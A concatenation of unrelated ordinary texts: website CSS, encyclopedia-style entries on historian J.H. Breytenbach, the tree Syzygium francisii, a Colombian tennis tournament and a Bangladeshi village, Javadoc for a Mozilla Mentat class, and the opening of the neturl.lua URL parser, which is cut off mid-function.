rgba(42,66,122,0.00620037);border-radius:0.625rem;width:50%;max-width:8rem;position:relative}.about-content__brands .brand-box img{-o-object-fit:contain;object-fit:contain;max-width:100%}@media (min-width: 576px) and (min-width: 576px){.about-content__brands .brand-box{max-width:12rem}}@media (min-width: 576px) and (min-width: 768px){.about-content__brands .brand-box{max-width:17.25rem}}@media (min-width: 576px) and (min-width: 992px){.about-content__brands .brand-box{max-width:22.5rem}}@media (min-width: 576px){.about-content__brands .brand-box:nth-child(1) img{max-width:7.9375rem}.about-content__brands .brand-box:nth-child(2) img{max-width:5.75rem}}.about-content__brands .brand-box .decoration{position:absolute;z-index:-1}.about-content__brands .brand-box:first-child .decoration{bottom:-1rem;right:33%}.about-content__brands .brand-box:last-child .decoration{bottom:33%;right:33%}.about-content__history-subsection{max-width:43.0675rem;position:relative}.about-content__history-subsection:first-child{margin-top:2rem !important}.about-content__history-subsection:first-child .decoration{margin-top:-5rem}@media (min-width: 576px){.about-content__history-subsection:first-child .decoration{margin-top:-7rem}}.about-content__history-subsection:first-child .title{margin-left:3rem;margin-right:3rem}.about-content__history-subsection:first-child .tooltip{font-size:1.125rem;letter-spacing:0.65em;padding:1.25rem 2.5rem}.about-content__history-subsection .decoration{height:10.9375rem;position:relative}.about-content__history-subsection .decoration img{height:100%;width:auto}.about-content__history-subsection .decoration--right,.about-content__history-subsection .decoration--left{position:absolute;display:none}@media (min-width: 992px){.about-content__history-subsection .decoration--right{display:block;right:-7.5rem}.about-content__history-subsection .decoration--left{display:block;left:-7.5rem}}@media (min-width: 1200px){.about-content__history-subsection .decoration--right{right:-12.5rem}.about-content__history-subsection .decoration--left{left:-12.5rem}}.about-content__history-subsection .description{color:#5E6678;margin-top:2.5rem}.about-content__history-subsection .crunch-button{margin-top:2.5rem}.about-content__history-subsection:nth-child(2) .decoration--left{top:33%}.about-content__history-subsection .title{position:relative}.about-content__history-subsection .heading-tooltip{background-color:#E36E2A;letter-spacing:0.65em;text-align:center;padding:.5rem;position:absolute;left:calc(100% + 1rem);top:50%;transform:translateY(-50%);color:#fff;border-radius:0.625rem;visibility:hidden;opacity:0}.about-content__history-subsection .heading-tooltip--visible{visibility:visible;opacity:1}.about-content__history-subsection .heading-tooltip:before{content:'';display:block;position:absolute;top:50%;transform:translateY(-50%);left:calc(-1.25rem / 2);width:1.25rem;height:1.25rem;background-image:url("/images/about/tooltip-part.svg");background-position:center;background-size:contain;background-repeat:no-repeat}@media (min-width: 576px){.about-content__history-subsection .heading-tooltip{padding:1.31rem 2.137rem;left:calc(100% + 3rem)}}.about-content__committee-member{cursor:pointer;list-style-type:none}.about-content__committee-member:hover .nickname,.about-content__committee-member:hover .description{color:#E36E2A}.about-content__committee-member .avatar{position:relative;width:4.5rem;height:4.5rem}.about-content__committee-member .avatar__background{width:100%;height:100%;z-index:-1;position:absolute;top:50%;left:50%;transform:translate(-50%, -50%)}.about-content__committee-member .avatar__background img{width:100%;height:100%}.about-content__committee-member .avatar__photo{width:3.75rem;height:3.75rem;-o-object-fit:contain;object-fit:contain;font-family:'object-fit: contain;';border-radius:50%}.about-content__committee-member .description{color:#5E6678}@media (min-width: 768px){.about-content__committee-member{width:33.3334%}}.about-content__feature{position:relative}.about-content__feature-background{z-index:-1;position:absolute;top:0;left:0;width:100%;height:100%}.about-content__feature-background img{-o-object-position:top right;object-position:top right;max-width:100%;width:100%;height:100%}.about-content__feature-box{background:#FFFFFF;border-radius:0.625rem;box-shadow:0px 100px 141px rgba(42,66,122,0.02),0px 36.5016px 51.4673px rgba(42,66,122,0.0137996),0px 17.7209px 24.9864px rgba(42,66,122,0.0111258),0px 8.6871px 12.2488px rgba(42,66,122,0.00887419),0px 3.43489px 4.8432px rgba(42,66,122,0.00620037);width:100%;max-width:57.25rem}.about-content__feature-box .description{max-width:22.875rem;color:#5E6678;text-align:center}@media (min-width: 768px){.about-content__feature-box .description{padding-right:1rem;text-align:left}}@media (min-width: 992px){.about-content__feature-box{padding-left:5.8125rem;padding-right:5.8125rem}.about-content__feature-box .description{padding-right:0}} ```
Johan Hendrik Breytenbach (1917 – 3 January 1994) was the official South African state historian for the Second Boer War. He was employed by the National Archives in Pretoria and studied the Second Boer War since 1940. In 1959 the Minister of Education, Arts and Science appointed Breytenbach state historian for the Second Boer War, supervised by the Department of History of the University of Pretoria. When Breytenbach died in 1994, he had published five volumes of his Die Geskiedenis van die Tweede Vryheidsoorlog in Suid-Afrika, 1899–1902 (translated title: The History of the Second War of Independence in South Africa, 1899–1902) between 1969 and 1983, with two further volumes at the planning stage. Using Breytenbach's notes, the State Archives finalised and published Volume 6 posthumously in 1996, concluding with a treatment of the Battle of Bergendal (21-27 August 1900). Apart from this major work Breytenbach published many books and articles on South African history. Quotes Breytenbach on the reason to undertake Die Geskiedenis van die Tweede Vryheidsoorlog in Suid-Afrika, 1899–1902: Breytenbach justified Boer general Piet Cronjé's controversial surrender to the British at the Battle of Paardeberg on 27 February 1900: Publications Breytenbach's publications, all in Afrikaans, include: 1940: Andries François du Toit, sy Aandel in die Transvaalse Geskiedenis, Proefskrif Pretoria : Unisa, 1940. In 1942 in Series: Argiefjaarboek vir Suid-Afrikaanse geskiedenis. 1940: Gedenkalbum van die Tweede Vryheidsoorlog, Editor. Kaapstad, Nasionale Pers, 1940. 1943: with Beyers, Coenraad; Venter, P. J.; Franken, J. L. M.; Thom, H. B.; Botha, C. Graham: Argief-jaarboek vir Suid-Afrikaanse Geskiedenis/ Archives Year Book for South African History (Sixth Year), Authority of the Minister of the Interior, 1943. 1948-1949: 1948: Die Tweede Vryheidsoorlog I. Voorspel tot die stryd, Nasionale Pers Beperk, Kaapstad, 1948. 1949: Die Tweede Vryheidsoorlog II: Ontplooiing van die Boere-offensief Oktober 1899, Nasionale Pers Beperk, Kaapstad, 1949. 1949: Die betekenis van die tweede Vryheidsoorlog ; vyftig jaar: 11 Okt. 1899 -- 11 Okt. 1949, Johannesburg: F.A.K., 1949. Federasie van Afrikaanse Kultuurvereniginge. Derde Uitgawe 2002, with A. E. Breytenbach: Die Volkskomitee vir die Herdenking van die Tweede Vryheidsoorlog, 2002. . 1949-1956: with Pretorius, H. S., and Joubert, D. C.: Suid-Afrikaanse Argiefstukke ; Notule Van Die Volksraad van die Suid-Afrikaanse Republiek (volledig met alle bylae daarby). Dl. I (1949): 1844-1850, dl. II (1950): 1850-1853, dl. III, dl. IV (1952): 1859-1863, dl. V (1953): (1864-1866), Dl. VI (1956): 1866-1867. Cape Times Ltd. for the Government Printer, Cape Town. 1950: Kommandant Danie Theron: Baasverkenner van die Tweede Vrijheidsoorlog, Kaapstad: Nasionale Boekhandel Beperk, 1950. 1952-1953, with van der Vyver, W.B.: Suid-Afrikaanse Argiefstukke ; Oranje-Vrystaat No. 1 : Notule van die Volksraad van die Oranje-Vrystaat. Deel 1 (1854 - 1855), South African archival records. Orange Free State, two volumes, Government Printer, Parow, Cape. 1954: Die Geskiedenis van die Krugerstandbeeld, Pretoria : Die Krugergenootskap, 1954. Nasionale Kultuurhistoriese en Opelugmuseum, Pretoria, 1979. 1958: Notule van die Natalse Volksraad (volledig met alle bylae daarby), Staatsdrukker, Parow 1958-1987. Reeks: Suid-Afrikaanse argiefstukke. Vol. 1: Notule Natalse Volksraad (met bylae) 1838-1845; Vol. 2: Records of the Natal Executive Council 1846-1848; Vol. 3: Records of the Natal Executive Council 1849-1852; Vol. 4: Records of the Natal Executive Council 1853-1856; Vol. 5: Records of the Natal Executive Council 1856-1859; Vol. 6: Records of the Natal government house despatches 1845-1846. 1980: with Jan Ploeger: Majuba gedenkboek : uitgegee ter herdenking van die Boere se stryd ter verkryging van hul onafhanklikheid 'n eeu gelede, Roodepoort : Cum Boeke / CUM Books, 1980. / . References 1917 births 1994 deaths Afrikaner people Second Boer War South African academics South African historians
Syzygium francisii is a native Australian tree, common on the eastern sea board, between Morisset, New South Wales (33° S) and Gladstone, Queensland (23° S). Common names include giant water gum, rose satinash, and Francis water gum. The habitat of Syzygium francisii is rainforest on basaltic or fertile alluvial soils. Several fine examples may be seen at the Royal Botanic Gardens, Sydney. An often seen Syzygium francisii is at the start of the Mount Warning walking track in far north eastern New South Wales. Description Syzygium francisii is a medium to large size tree, occasionally reaching over 30 metres in height and a 150 cm in trunk diameter. The tree's crown appears dark and dense. The bark is a scaly reddish light brown, with depressions caused by the shedding of scales of bark. Prominent buttresses form at the base. Leaves, flowers and fruit The leaves are opposite, simple, entire, 4 to 8 cm long drawn out into a long point at the tip. The leaf margin is often wavy, new growth pinkish. Flowers: white in panicles. Flowers small, less than 6 mm long. Flowering period September to December. The fruit matures from January to April, being a flattened berry, a common shape in many species of Syzygium; the colour is a pale blue, lilac to purple. The flesh is dry and unpalatable to taste. Seed germination is relatively easy and quick, commencing at 20 days. Soaking of the seeds is recommended to drown insect larvae. Fruit are eaten by many types of rainforest birds. Gallery References Floyd, A.G., Rainforest Trees of Mainland South-eastern Australia, Inkata Press 1989, Syzygium francisii at NSW Flora Online Retrieved on 2009-08-04 Myrtales of Australia Trees of Australia Flora of New South Wales Flora of Queensland francisii
```html <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "path_to_url"> <!-- NewPage --> <html lang="en"> <head> <!-- Generated by javadoc (1.8.0_152-release) on Thu Jun 21 13:35:13 BST 2018 --> <title>AttributeList</title> <meta name="date" content="2018-06-21"> <link rel="stylesheet" type="text/css" href="../../../stylesheet.css" title="Style"> <script type="text/javascript" src="../../../script.js"></script> </head> <body> <script type="text/javascript"><!-- try { if (location.href.indexOf('is-external=true') == -1) { parent.document.title="AttributeList"; } } catch(err) { } //--> var methods = {"i0":10,"i1":10}; var tabs = {65535:["t0","All Methods"],2:["t2","Instance Methods"],8:["t4","Concrete Methods"]}; var altColor = "altColor"; var rowColor = "rowColor"; var tableTab = "tableTab"; var activeTableTab = "activeTableTab"; </script> <noscript> <div>JavaScript is disabled on your browser.</div> </noscript> <!-- ========= START OF TOP NAVBAR ======= --> <div class="topNav"><a name="navbar.top"> <!-- --> </a> <div class="skipNav"><a href="#skip.navbar.top" title="Skip navigation links">Skip navigation links</a></div> <a name="navbar.top.firstrow"> <!-- --> </a> <ul class="navList" title="Navigation"> <li><a href="../../../org/mozilla/mentat/package-summary.html">Package</a></li> <li class="navBarCell1Rev">Class</li> <li><a href="package-tree.html">Tree</a></li> <li><a href="../../../deprecated-list.html">Deprecated</a></li> <li><a href="../../../index-files/index-1.html">Index</a></li> <li><a href="../../../help-doc.html">Help</a></li> </ul> </div> <div class="subNav"> <ul class="navList"> <li>Prev&nbsp;Class</li> <li><a href="../../../org/mozilla/mentat/AttributeList.ByReference.html" title="class in org.mozilla.mentat"><span class="typeNameLink">Next&nbsp;Class</span></a></li> </ul> <ul class="navList"> <li><a href="../../../index.html?org/mozilla/mentat/AttributeList.html" target="_top">Frames</a></li> <li><a href="AttributeList.html" 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NAVBAR ========= --> <!-- ======== START OF CLASS DATA ======== --> <div class="header"> <div class="subTitle">org.mozilla.mentat</div> <h2 title="Class AttributeList" class="title">Class AttributeList</h2> </div> <div class="contentContainer"> <ul class="inheritance"> <li><a href="path_to_url" title="class or interface in java.lang">java.lang.Object</a></li> <li> <ul class="inheritance"> <li>com.sun.jna.Structure</li> <li> <ul class="inheritance"> <li>org.mozilla.mentat.AttributeList</li> </ul> </li> </ul> </li> </ul> <div class="description"> <ul class="blockList"> <li class="blockList"> <dl> <dt>All Implemented Interfaces:</dt> <dd><a href="path_to_url" title="class or interface in java.io">Closeable</a>, <a href="path_to_url" title="class or interface in java.lang">AutoCloseable</a></dd> </dl> <dl> <dt>Direct Known Subclasses:</dt> <dd><a href="../../../org/mozilla/mentat/AttributeList.ByReference.html" title="class in org.mozilla.mentat">AttributeList.ByReference</a>, <a href="../../../org/mozilla/mentat/AttributeList.ByValue.html" title="class in org.mozilla.mentat">AttributeList.ByValue</a></dd> </dl> <hr> <br> <pre>public class <span class="typeNameLabel">AttributeList</span> extends com.sun.jna.Structure implements <a href="path_to_url" title="class or interface in java.io">Closeable</a></pre> <div class="block">Represents a C struct of a list of Strings containing attributes in the format `:namespace/name`.</div> </li> </ul> </div> <div class="summary"> <ul class="blockList"> <li class="blockList"> <!-- ======== NESTED CLASS SUMMARY ======== --> <ul class="blockList"> <li class="blockList"><a name="nested.class.summary"> <!-- --> </a> <h3>Nested Class Summary</h3> <table class="memberSummary" border="0" cellpadding="3" cellspacing="0" summary="Nested Class Summary table, listing nested classes, and an explanation"> <caption><span>Nested Classes</span><span class="tabEnd">&nbsp;</span></caption> <tr> <th class="colFirst" scope="col">Modifier and Type</th> <th class="colLast" scope="col">Class and Description</th> </tr> <tr class="altColor"> <td class="colFirst"><code>static class&nbsp;</code></td> <td class="colLast"><code><span class="memberNameLink"><a href="../../../org/mozilla/mentat/AttributeList.ByReference.html" title="class in org.mozilla.mentat">AttributeList.ByReference</a></span></code>&nbsp;</td> </tr> <tr class="rowColor"> <td class="colFirst"><code>static class&nbsp;</code></td> <td class="colLast"><code><span class="memberNameLink"><a href="../../../org/mozilla/mentat/AttributeList.ByValue.html" title="class in org.mozilla.mentat">AttributeList.ByValue</a></span></code>&nbsp;</td> </tr> </table> <ul class="blockList"> <li class="blockList"><a name="nested.classes.inherited.from.class.com.sun.jna.Structure"> <!-- --> </a> <h3>Nested classes/interfaces inherited from class&nbsp;com.sun.jna.Structure</h3> <code>com.sun.jna.Structure.StructField</code></li> </ul> </li> </ul> <!-- =========== FIELD SUMMARY =========== --> <ul class="blockList"> <li class="blockList"><a name="field.summary"> <!-- --> </a> <h3>Field Summary</h3> <table class="memberSummary" border="0" cellpadding="3" cellspacing="0" summary="Field Summary table, listing fields, and an explanation"> <caption><span>Fields</span><span class="tabEnd">&nbsp;</span></caption> <tr> <th class="colFirst" scope="col">Modifier and Type</th> <th class="colLast" scope="col">Field and Description</th> </tr> <tr class="altColor"> <td class="colFirst"><code>com.sun.jna.ptr.IntByReference</code></td> <td class="colLast"><code><span class="memberNameLink"><a href="../../../org/mozilla/mentat/AttributeList.html#attributes">attributes</a></span></code>&nbsp;</td> </tr> <tr class="rowColor"> <td class="colFirst"><code>int</code></td> <td class="colLast"><code><span class="memberNameLink"><a href="../../../org/mozilla/mentat/AttributeList.html#len">len</a></span></code>&nbsp;</td> </tr> <tr class="altColor"> <td class="colFirst"><code>int</code></td> <td class="colLast"><code><span class="memberNameLink"><a href="../../../org/mozilla/mentat/AttributeList.html#numberOfItems">numberOfItems</a></span></code>&nbsp;</td> </tr> </table> <ul class="blockList"> <li class="blockList"><a name="fields.inherited.from.class.com.sun.jna.Structure"> <!-- --> </a> <h3>Fields inherited from class&nbsp;com.sun.jna.Structure</h3> <code>ALIGN_DEFAULT, ALIGN_GNUC, ALIGN_MSVC, ALIGN_NONE, CALCULATE_SIZE</code></li> </ul> </li> </ul> <!-- ======== CONSTRUCTOR SUMMARY ======== --> <ul class="blockList"> <li class="blockList"><a name="constructor.summary"> <!-- --> </a> <h3>Constructor Summary</h3> <table class="memberSummary" border="0" cellpadding="3" cellspacing="0" summary="Constructor Summary table, listing constructors, and an explanation"> <caption><span>Constructors</span><span class="tabEnd">&nbsp;</span></caption> <tr> <th class="colOne" scope="col">Constructor and Description</th> </tr> <tr class="altColor"> <td class="colOne"><code><span class="memberNameLink"><a href="../../../org/mozilla/mentat/AttributeList.html#AttributeList--">AttributeList</a></span>()</code>&nbsp;</td> </tr> </table> </li> </ul> <!-- ========== METHOD SUMMARY =========== --> <ul class="blockList"> <li class="blockList"><a name="method.summary"> <!-- --> </a> <h3>Method Summary</h3> <table class="memberSummary" border="0" cellpadding="3" cellspacing="0" summary="Method Summary table, listing methods, and an explanation"> <caption><span id="t0" class="activeTableTab"><span>All Methods</span><span class="tabEnd">&nbsp;</span></span><span id="t2" class="tableTab"><span><a href="javascript:show(2);">Instance Methods</a></span><span class="tabEnd">&nbsp;</span></span><span id="t4" class="tableTab"><span><a href="javascript:show(8);">Concrete Methods</a></span><span class="tabEnd">&nbsp;</span></span></caption> <tr> <th class="colFirst" scope="col">Modifier and Type</th> <th class="colLast" scope="col">Method and Description</th> </tr> <tr id="i0" class="altColor"> <td class="colFirst"><code>void</code></td> <td class="colLast"><code><span class="memberNameLink"><a href="../../../org/mozilla/mentat/AttributeList.html#close--">close</a></span>()</code>&nbsp;</td> </tr> <tr id="i1" class="rowColor"> <td class="colFirst"><code>protected <a href="path_to_url" title="class or interface in java.util">List</a>&lt;<a href="path_to_url" title="class or interface in java.lang">String</a>&gt;</code></td> <td class="colLast"><code><span class="memberNameLink"><a href="../../../org/mozilla/mentat/AttributeList.html#getFieldOrder--">getFieldOrder</a></span>()</code> <div class="block">Return this Structure's field names in their proper order.</div> </td> </tr> </table> <ul class="blockList"> <li class="blockList"><a name="methods.inherited.from.class.com.sun.jna.Structure"> <!-- --> </a> <h3>Methods inherited from class&nbsp;com.sun.jna.Structure</h3> <code>allocateMemory, allocateMemory, autoAllocate, autoRead, autoRead, autoWrite, autoWrite, cacheTypeInfo, calculateSize, clear, createFieldsOrder, createFieldsOrder, createFieldsOrder, createFieldsOrder, dataEquals, dataEquals, ensureAllocated, equals, fieldOffset, getAutoRead, getAutoWrite, getFieldList, getFields, getNativeAlignment, getNativeSize, getNativeSize, getPointer, getStringEncoding, getStructAlignment, hashCode, newInstance, newInstance, read, readField, readField, setAlignType, setAutoRead, setAutoSynch, setAutoWrite, setFieldOrder, setStringEncoding, size, sortFields, toArray, toArray, toString, toString, useMemory, useMemory, write, writeField, writeField, writeField</code></li> </ul> <ul class="blockList"> <li class="blockList"><a name="methods.inherited.from.class.java.lang.Object"> <!-- --> </a> <h3>Methods inherited from class&nbsp;java.lang.<a href="path_to_url" title="class or interface in java.lang">Object</a></h3> <code><a href="path_to_url#clone--" title="class or interface in java.lang">clone</a>, <a href="path_to_url#finalize--" title="class or interface in java.lang">finalize</a>, <a href="path_to_url#getClass--" title="class or interface in java.lang">getClass</a>, <a href="path_to_url#notify--" title="class or interface in java.lang">notify</a>, <a href="path_to_url#notifyAll--" title="class or interface in java.lang">notifyAll</a>, <a href="path_to_url#wait--" title="class or interface in java.lang">wait</a>, <a href="path_to_url#wait-long-" title="class or interface in java.lang">wait</a>, <a href="path_to_url#wait-long-int-" title="class or interface in java.lang">wait</a></code></li> </ul> </li> </ul> </li> </ul> </div> <div class="details"> <ul class="blockList"> <li class="blockList"> <!-- ============ FIELD DETAIL =========== --> <ul class="blockList"> <li class="blockList"><a name="field.detail"> <!-- --> </a> <h3>Field Detail</h3> <a name="attributes"> <!-- --> </a> <ul class="blockList"> <li class="blockList"> <h4>attributes</h4> <pre>public&nbsp;com.sun.jna.ptr.IntByReference attributes</pre> </li> </ul> <a name="numberOfItems"> <!-- --> </a> <ul class="blockList"> <li class="blockList"> <h4>numberOfItems</h4> <pre>public&nbsp;int numberOfItems</pre> </li> </ul> <a name="len"> <!-- --> </a> <ul class="blockListLast"> <li class="blockList"> <h4>len</h4> <pre>public&nbsp;int len</pre> </li> </ul> </li> </ul> <!-- ========= CONSTRUCTOR DETAIL ======== --> <ul class="blockList"> <li class="blockList"><a name="constructor.detail"> <!-- --> </a> <h3>Constructor Detail</h3> <a name="AttributeList--"> <!-- --> </a> <ul class="blockListLast"> <li class="blockList"> <h4>AttributeList</h4> <pre>public&nbsp;AttributeList()</pre> </li> </ul> </li> </ul> <!-- ============ METHOD DETAIL ========== --> <ul class="blockList"> <li class="blockList"><a name="method.detail"> <!-- --> </a> <h3>Method Detail</h3> <a name="getFieldOrder--"> <!-- --> </a> <ul class="blockList"> <li class="blockList"> <h4>getFieldOrder</h4> <pre>protected&nbsp;<a href="path_to_url" title="class or interface in java.util">List</a>&lt;<a href="path_to_url" title="class or interface in java.lang">String</a>&gt;&nbsp;getFieldOrder()</pre> <div class="block"><span class="descfrmTypeLabel">Description copied from class:&nbsp;<code>com.sun.jna.Structure</code></span></div> <div class="block">Return this Structure's field names in their proper order. For example, <pre><code> protected List getFieldOrder() { return Arrays.asList(new String[] { ... }); } </code></pre> <strong>IMPORTANT</strong> When deriving from an existing Structure subclass, ensure that you augment the list provided by the superclass, e.g. <pre><code> protected List getFieldOrder() { List fields = new ArrayList(super.getFieldOrder()); fields.addAll(Arrays.asList(new String[] { ... })); return fields; } </code></pre> Field order must be explicitly indicated, since the field order as returned by <a href="path_to_url#getFields--" title="class or interface in java.lang"><code>Class.getFields()</code></a> is not guaranteed to be predictable.</div> <dl> <dt><span class="overrideSpecifyLabel">Specified by:</span></dt> <dd><code>getFieldOrder</code>&nbsp;in class&nbsp;<code>com.sun.jna.Structure</code></dd> <dt><span class="returnLabel">Returns:</span></dt> <dd>ordered list of field names</dd> </dl> </li> </ul> <a name="close--"> <!-- --> </a> <ul class="blockListLast"> <li class="blockList"> <h4>close</h4> <pre>public&nbsp;void&nbsp;close()</pre> <dl> <dt><span class="overrideSpecifyLabel">Specified by:</span></dt> <dd><code><a href="path_to_url#close--" title="class or interface in java.io">close</a></code>&nbsp;in interface&nbsp;<code><a href="path_to_url" title="class or interface in java.io">Closeable</a></code></dd> <dt><span class="overrideSpecifyLabel">Specified by:</span></dt> <dd><code><a href="path_to_url#close--" title="class or interface in java.lang">close</a></code>&nbsp;in interface&nbsp;<code><a href="path_to_url" title="class or interface in java.lang">AutoCloseable</a></code></dd> </dl> </li> </ul> </li> </ul> </li> </ul> </div> </div> <!-- ========= END OF CLASS DATA ========= --> <!-- ======= START OF BOTTOM NAVBAR ====== --> <div class="bottomNav"><a name="navbar.bottom"> <!-- --> </a> <div class="skipNav"><a href="#skip.navbar.bottom" title="Skip navigation links">Skip navigation links</a></div> <a name="navbar.bottom.firstrow"> <!-- --> </a> <ul class="navList" title="Navigation"> <li><a href="../../../org/mozilla/mentat/package-summary.html">Package</a></li> <li class="navBarCell1Rev">Class</li> <li><a href="package-tree.html">Tree</a></li> <li><a href="../../../deprecated-list.html">Deprecated</a></li> <li><a href="../../../index-files/index-1.html">Index</a></li> <li><a href="../../../help-doc.html">Help</a></li> </ul> </div> <div class="subNav"> <ul class="navList"> <li>Prev&nbsp;Class</li> <li><a href="../../../org/mozilla/mentat/AttributeList.ByReference.html" title="class in org.mozilla.mentat"><span class="typeNameLink">Next&nbsp;Class</span></a></li> </ul> <ul class="navList"> <li><a href="../../../index.html?org/mozilla/mentat/AttributeList.html" target="_top">Frames</a></li> <li><a href="AttributeList.html" target="_top">No&nbsp;Frames</a></li> </ul> <ul class="navList" id="allclasses_navbar_bottom"> <li><a href="../../../allclasses-noframe.html">All&nbsp;Classes</a></li> </ul> <div> <script type="text/javascript"><!-- allClassesLink = document.getElementById("allclasses_navbar_bottom"); if(window==top) { allClassesLink.style.display = "block"; } else { allClassesLink.style.display = "none"; } //--> </script> </div> <div> <ul class="subNavList"> <li>Summary:&nbsp;</li> <li><a href="#nested.class.summary">Nested</a>&nbsp;|&nbsp;</li> <li><a href="#field.summary">Field</a>&nbsp;|&nbsp;</li> <li><a href="#constructor.summary">Constr</a>&nbsp;|&nbsp;</li> <li><a href="#method.summary">Method</a></li> </ul> <ul class="subNavList"> <li>Detail:&nbsp;</li> <li><a href="#field.detail">Field</a>&nbsp;|&nbsp;</li> <li><a href="#constructor.detail">Constr</a>&nbsp;|&nbsp;</li> <li><a href="#method.detail">Method</a></li> </ul> </div> <a name="skip.navbar.bottom"> <!-- --> </a></div> <!-- ======== END OF BOTTOM NAVBAR ======= --> </body> </html> ```
The Pereira Challenger is a professional tennis tournament played on clay courts. It is currently part of the Association of Tennis Professionals (ATP) Challenger Tour. It is held annually in Pereira, Colombia since 2022 as part of the Legión Sudamericana. Past finals Singles Doubles References ATP Challenger Tour Clay court tennis tournaments Tennis tournaments in Colombia
Nurpur is a village at Fenchuganj Upazila in Sylhet, Bangladesh. It is about four miles long and 3 miles wide. It is the biggest village in Fenchuganj Upazila. It is not far from Upazila and Police Station. Populations and Religious Nearly ten thousand people live in Nurpur. The population is majority Muslim, but there is a small Hindu population as well. Education Colleges Mahmud Us Samad Farjana Chowdhury Girls School and College Fenchuganj Business Management College Primary schools Dorgahpur Primary School Faqirpara Community School Madrasahs Asiya Khanom Hafizia Madrasah. Darul Ulum Islambazar Madrasah. Mosques Delwar Hussain Jam-E Masjid Nurpur Jam-E Masjid Jummatila Jam-E Masjid Nurpur Bazari Tilla Jam-E Masjid Uttartila Jam-E Masjid Faqirpara Jam-E Masjid Faqirpara Panjegana Masjid etc. Leader Mahmud Us Samad Chowdhury MP Nurul Islam Basit U.P Chairman See also Fenchuganj Upazila References Villages in Sylhet District Fenchuganj Upazila
```lua -- neturl.lua - a robust url parser and builder -- path_to_url -- -- -- Permission is hereby granted, free of charge, to any person obtaining a copy -- of this software and associated documentation files (the "Software"), to deal -- in the Software without restriction, including without limitation the rights -- to use, copy, modify, merge, publish, distribute, sublicense, and/or sell -- copies of the Software, and to permit persons to whom the Software is -- furnished to do so, subject to the following conditions: -- -- The above copyright notice and this permission notice shall be included in -- all copies or substantial portions of the Software. -- -- THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -- IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -- FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE -- AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -- LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, -- OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN -- THE SOFTWARE. -- @module neturl -- @alias M local M = {} M.version = "0.9.0" --- url options -- separator is set to `&` by default but could be anything like `&amp;amp;` or `;` -- @todo Add an option to limit the size of the argument table M.options = { separator = '&' } --- list of known and common scheme ports -- as documented in <a href="path_to_url">IANA URI scheme list</a> M.services = { acap = 674, cap = 1026, dict = 2628, ftp = 21, gopher = 70, http = 80, https = 443, iax = 4569, icap = 1344, imap = 143, ipp = 631, ldap = 389, mtqp = 1038, mupdate = 3905, news = 2009, nfs = 2049, nntp = 119, rtsp = 554, sip = 5060, snmp = 161, telnet = 23, tftp = 69, vemmi = 575, afs = 1483, jms = 5673, rsync = 873, prospero = 191, videotex = 516 } local legal = { ["-"] = true, ["_"] = true, ["."] = true, ["!"] = true, ["~"] = true, ["*"] = true, ["'"] = true, ["("] = true, [")"] = true, [":"] = true, ["@"] = true, ["&"] = true, ["="] = true, ["+"] = true, ["$"] = true, [","] = true, [";"] = true -- can be used for parameters in path } local function decode(str) local str = str:gsub('+', ' ') return (str:gsub("%%(%x%x)", function(c) return string.char(tonumber(c, 16)) end)) end local function encode(str) return (str:gsub("([^A-Za-z0-9%_%.%-%~])", function(v) return string.upper(string.format("%%%02x", string.byte(v))) end)) end -- for query values, prefer + instead of %20 for spaces local function encodeValue(str) local str = encode(str) return str:gsub('%%20', '+') end local function encodeSegment(s) local legalEncode = function(c) if legal[c] then return c end return encode(c) end return s:gsub('([^a-zA-Z0-9])', legalEncode) end --- builds the url -- @return a string representing the built url function M:build() local url = '' if self.path then local path = self.path path:gsub("([^/]+)", function (s) return encodeSegment(s) end) url = url .. tostring(path) end if self.query then local qstring = tostring(self.query) if qstring ~= "" then url = url .. '?' .. qstring end end if self.host then local authority = self.host if self.port and self.scheme and M.services[self.scheme] ~= self.port then authority = authority .. ':' .. self.port end local userinfo if self.user and self.user ~= "" then userinfo = self.user if self.password then userinfo = userinfo .. ':' .. self.password end end if userinfo and userinfo ~= "" then authority = userinfo .. '@' .. authority end if authority then if url ~= "" then url = '//' .. authority .. '/' .. url:gsub('^/+', '') else url = '//' .. authority end end end if self.scheme then url = self.scheme .. ':' .. url end if self.fragment then url = url .. '#' .. self.fragment end return url end --- builds the querystring -- @param tab The key/value parameters -- @param sep The separator to use (optional) -- @param key The parent key if the value is multi-dimensional (optional) -- @return a string representing the built querystring function M.buildQuery(tab, sep, key) local query = {} if not sep then sep = M.options.separator or '&' end local keys = {} for k in pairs(tab) do keys[#keys+1] = k end table.sort(keys) for _,name in ipairs(keys) do local value = tab[name] name = encode(tostring(name)) if key then name = string.format('%s[%s]', tostring(key), tostring(name)) end if type(value) == 'table' then query[#query+1] = M.buildQuery(value, sep, name) else local value = encodeValue(tostring(value)) if value ~= "" then query[#query+1] = string.format('%s=%s', name, value) else query[#query+1] = name end end end return table.concat(query, sep) end --- Parses the querystring to a table -- This function can parse multidimensional pairs and is mostly compatible -- with PHP usage of brackets in key names like ?param[key]=value -- @param str The querystring to parse -- @param sep The separator between key/value pairs, defaults to `&` -- @todo limit the max number of parameters with M.options.max_parameters -- @return a table representing the query key/value pairs function M.parseQuery(str, sep) if not sep then sep = M.options.separator or '&' end local values = {} for key,val in str:gmatch(string.format('([^%q=]+)(=*[^%q=]*)', sep, sep)) do local key = decode(key) local keys = {} key = key:gsub('%[([^%]]*)%]', function(v) -- extract keys between balanced brackets if string.find(v, "^-?%d+$") then v = tonumber(v) else v = decode(v) end table.insert(keys, v) return "=" end) key = key:gsub('=+.*$', "") key = key:gsub('%s', "_") -- remove spaces in parameter name val = val:gsub('^=+', "") if not values[key] then values[key] = {} end if #keys > 0 and type(values[key]) ~= 'table' then values[key] = {} elseif #keys == 0 and type(values[key]) == 'table' then values[key] = decode(val) end local t = values[key] for i,k in ipairs(keys) do if type(t) ~= 'table' then t = {} end if k == "" then k = #t+1 end if not t[k] then t[k] = {} end if i == #keys then t[k] = decode(val) end t = t[k] end end setmetatable(values, { __tostring = M.buildQuery }) return values end --- set the url query -- @param query Can be a string to parse or a table of key/value pairs -- @return a table representing the query key/value pairs function M:setQuery(query) local query 